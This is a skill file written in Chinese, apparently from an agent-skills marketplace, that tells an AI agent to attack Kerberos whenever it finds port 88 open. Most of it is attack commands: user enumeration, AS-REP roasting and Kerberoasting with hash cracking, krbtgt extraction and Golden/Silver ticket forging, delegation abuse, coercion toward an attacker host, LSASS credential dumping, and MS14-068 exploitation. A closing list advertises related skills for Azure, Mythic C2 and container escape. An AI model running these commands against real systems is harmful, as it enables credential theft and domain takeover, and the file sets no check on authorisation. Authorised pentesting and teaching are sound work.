skills/exploit/network-service/kerberos-pentesting/SKILL.md
Kerberos 认证服务(88 端口)渗透测试方法论。涵盖 Kerberos 服务发现、用户名枚举、AS-REP Roasting、Kerberoasting、票据伪造(Golden/Silver Ticket)、委派攻击、Pass-the-Ticket。 当 Agent 扫描发现 88 端口开放、需要攻击 Kerberos 认证、提取服务票据、或进行票据伪造时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity kerberos-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 88 端口开放 (Kerberos)
├─ Phase 1: 服务发现
│ ├─ 确认 Kerberos 服务版本
│ ├─ 确认域名 / Realm
│ └─ 时钟同步检查
│ ├─ 偏差 > 5 分钟 -> 先同步时钟
│ └─ 已同步 -> 继续
├─ Phase 2: 用户名枚举
│ ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户
│ └─ 有用户列表 -> 进入 Phase 3
├─ Phase 3: AS-REP Roasting
│ ├─ 查找未设置预认证的账户
│ │ ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 4
├─ Phase 4: Kerberoasting
│ ├─ 需要有效域凭据
│ ├─ 查找注册 SPN 的服务账户
│ │ ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 5
├─ Phase 5: 票据伪造
│ ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT)
│ ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS)
│ └─ 无足够材料 -> 进入 Phase 6
├─ Phase 6: 委派攻击
│ ├─ 非约束委派 -> 提取 TGT
│ ├─ 约束委派 -> S4U 协议滥用
│ └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity
└─ Phase 7: Pass-the-Ticket
├─ 导入票据到当前会话
└─ 利用票据访问目标服务
# Nmap Kerberos 服务探测
nmap -sV -sC -p 88 <IP>
# Nmap Kerberos 枚举脚本
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
确认 Kerberos Realm
├─ DNS 查询 SRV 记录
│ └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL
├─ 从 SMB 服务获取域名
│ └─ crackmapexec smb <IP>
└─ 从 LDAP 获取 Realm
└─ ldapsearch -x -h <IP> -s base namingContexts
# 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
# 生成 krb5.conf (netexec)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 手动 krb5.conf 最小配置
cat > /etc/krb5.conf << 'CONF'
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
DOMAIN.LOCAL = {
kdc = dc.domain.local
admin_server = dc.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
CONF
关键判断:
/etc/hosts 必须正确解析 DC 的 FQDN -> SPN 不匹配会导致 GSSAPI 失败-k 参数强制 Kerberos 认证用户名枚举 (无需凭据)
├─ Kerbrute (推荐,速度快,日志低)
│ ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt
│ └─ 原理: 发送 AS-REQ,根据响应区分有效/无效用户
│ ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证)
│ ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用
│ └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在
├─ Nmap 脚本
│ └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
└─ Metasploit
└─ auxiliary/gather/kerberos_enumusers
├─ set DOMAIN DOMAIN.LOCAL
├─ set RHOSTS <DC_IP>
└─ set USER_FILE users.txt
# 内置字典
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/dirb/others/names.txt
# 从 OSINT 生成用户名
# 格式: firstname.lastname / f.lastname / firstnamelastname
当用户账户设置了 DONT_REQUIRE_PREAUTH 标志时,可以在不知道密码的情况下请求其 AS-REP 消息,其中包含可离线破解的加密数据。
AS-REP Roasting
├─ 有域凭据
│ ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP>
│ ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
│ └─ BloodHound 标记: "Do not require Kerberos preauthentication"
├─ 无域凭据
│ └─ 对已枚举用户列表逐一尝试
│ └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
└─ 获得哈希后 -> 离线破解
├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt
└─ john --wordlist=wordlist.txt asrep_hashes.txt
# 已知用户列表,无需密码
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
# 有凭据,自动查找所有易受攻击用户
GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt
# 查找并攻击所有 AS-REP Roastable 用户
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# 指定用户
Rubeus.exe asreproast /user:targetuser /format:hashcat
任何经过认证的域用户都可以请求注册了 SPN (Service Principal Name) 的服务账户的 TGS 票据,该票据使用服务账户的 NTLM 哈希加密,可离线破解。
Kerberoasting (需要有效域凭据)
├─ 查找注册 SPN 的账户
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))
│ └─ PowerView: Get-DomainUser -SPN
├─ 请求 TGS 票据
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt
│ └─ Rubeus.exe kerberoast /outfile:tgs.txt
├─ 优先攻击目标
│ ├─ 高权限服务账户 (Domain Admins / 管理员组成员)
│ ├─ RC4 加密的票据 (更易破解)
│ │ └─ Rubeus.exe kerberoast /rc4opsec
│ └─ 密码从未更改的账户 (pwdLastSet 很久以前)
└─ 离线破解
├─ hashcat -m 13100 tgs.txt wordlist.txt
└─ john --wordlist=wordlist.txt tgs.txt
# 列出所有 SPN 账户
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
# 请求 TGS 并保存哈希
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# 使用 NTLM 哈希认证
GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request
如果目标用户无 SPN 但你有写 SPN 的权限
├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser
├─ 请求 TGS: GetUserSPNs.py ...
├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser
└─ 注意: 需要 GenericAll/GenericWrite 权限
前提:拥有 krbtgt 账户的 NTLM 哈希(通常通过 DCSync 或 NTDS.dit 获取)
Golden Ticket 攻击流程
├─ 收集信息
│ ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py
│ ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt
│ └─ 域名: DOMAIN.LOCAL
├─ 生成票据
│ ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt
├─ 使用票据
│ ├─ export KRB5CCNAME=Administrator.ccache
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/[email protected]
│ └─ secretsdump.py -k -no-pass dc.domain.local
└─ 特性
├─ 有效期: 默认 10 年
├─ 可伪造任意用户 (包括不存在的用户)
└─ 跨域: 需要父域 krbtgt 哈希
前提:拥有目标服务账户的 NTLM 哈希
Silver Ticket 攻击流程
├─ 收集信息
│ ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希)
│ ├─ 目标 SPN (例如 CIFS/dc.domain.local)
│ └─ 域 SID
├─ 生成票据
│ ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt
├─ 常见服务 SPN 对照
│ ├─ CIFS -> 文件共享 (SMB)
│ ├─ HTTP -> Web 服务 / WinRM (WSMAN)
│ ├─ LDAP -> LDAP 查询 / DCSync
│ ├─ HOST -> 计划任务 / PsExec
│ └─ MSSQLSvc -> MSSQL 数据库
└─ 特性
├─ 不经过 KDC 验证 -> 更隐蔽
├─ 仅对特定服务有效
└─ 机器账户密码变更后失效 (默认 30 天轮换)
委派攻击
├─ 非约束委派 (Unconstrained Delegation)
│ ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288)
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击: 诱使高权限用户连接到受控主机
│ │ ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST>
│ │ └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP>
│ └─ 提取: 从内存提取转发的 TGT
│ └─ Rubeus.exe monitor /interval:5 /nowrap
├─ 约束委派 (Constrained Delegation)
│ ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy
│ │ ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP>
│ │ └─ export KRB5CCNAME=Administrator.ccache
│ └─ 利用: 使用获得的票据访问目标服务
└─ 基于资源的约束委派 (RBCD)
├─ 前提: 对目标有 GenericWrite / WriteDacl 权限
├─ 攻击流程
│ ├─ 1) 创建或控制一个机器账户 (addcomputer.py)
│ ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
│ │ └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 3) S4U 获取票据
│ │ └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP>
│ └─ 4) 使用票据
│ └─ export KRB5CCNAME=Administrator.ccache
└─ 清理: 移除 RBCD 配置
└─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
Pass-the-Ticket
├─ 获取票据
│ ├─ 导出当前会话票据 (Windows)
│ │ ├─ Mimikatz: sekurlsa::tickets /export
│ │ └─ Rubeus.exe dump /nowrap
│ ├─ 从 LSASS 提取
│ │ └─ Mimikatz: sekurlsa::logonpasswords
│ └─ 从 ccache 文件 (Linux)
│ └─ 默认位置: /tmp/krb5cc_<UID>
├─ 导入票据
│ ├─ Linux
│ │ └─ export KRB5CCNAME=/path/to/ticket.ccache
│ ├─ Windows
│ │ ├─ Mimikatz: kerberos::ptt <ticket.kirbi>
│ │ └─ Rubeus.exe ptt /ticket:<base64_ticket>
│ └─ 格式转换
│ ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache
│ └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi
├─ 使用票据访问服务
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/[email protected]
│ ├─ smbclient --kerberos //target.domain.local/C$
│ ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/[email protected]
│ └─ netexec smb target.domain.local -k
└─ 验证当前票据
├─ Linux: klist
└─ Windows: klist (系统命令)
# 获取 TGT
kinit <user>
klist
# netexec / crackmapexec Kerberos 认证
netexec smb <dc.fqdn> -k
# Impacket 工具使用缓存票据 (-k -no-pass)
psexec.py -k -no-pass DOMAIN.LOCAL/[email protected]
secretsdump.py -k -no-pass dc.domain.local
# SSH GSSAPI 单点登录
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
MS14-068 — PAC 伪造提权
├─ 影响: 普通域用户可伪造为域管理员
├─ 检测: 未打补丁的 Windows Server 2003-2012R2
├─ 利用
│ ├─ pykek: python ms14-068.py -u [email protected] -p password -s <USER_SID> -d <DC_IP>
│ └─ goldenPac.py DOMAIN.LOCAL/user:[email protected]
└─ 修复: KB3011780 补丁
port:88 kerberos
| 错误信息 | 原因 | 解决方案 |
|---------|------|---------|
| KRB_AP_ERR_SKEW | 时钟偏差过大 | sudo ntpdate <dc.fqdn> |
| KDC_ERR_C_PRINCIPAL_UNKNOWN | 用户不存在 | 检查用户名和 Realm |
| KDC_ERR_PREAUTH_FAILED | 密码错误 | 检查凭据 |
| Server not found in Kerberos database | SPN 不匹配 | 检查 /etc/hosts 和 FQDN |
| STATUS_NOT_SUPPORTED | NTLM 被禁用 | 添加 -k 参数使用 Kerberos |
| KRB_ERR_RESPONSE_TOO_BIG | UDP 响应过大 | 配置 krb5.conf 使用 TCP: udp_preference_limit = 1 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能